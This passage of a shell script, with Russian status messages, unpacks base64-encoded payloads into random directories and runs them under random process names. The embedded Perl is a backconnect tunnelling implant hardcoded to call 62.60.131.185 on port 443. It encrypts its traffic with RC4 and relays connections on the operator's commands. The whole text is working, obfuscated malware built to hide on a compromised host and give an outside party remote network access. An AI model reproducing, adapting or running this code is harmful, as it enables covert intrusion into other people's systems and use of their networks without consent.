bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #67 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" perl ./$PAYLOAD_NAME > /dev/null 2>&1) & else echo "[RUNNER] Компонент #67 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" ./$PAYLOAD_NAME > /dev/null 2>&1) & fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 68 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzYyLjYwLjEzMS4xODUnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg 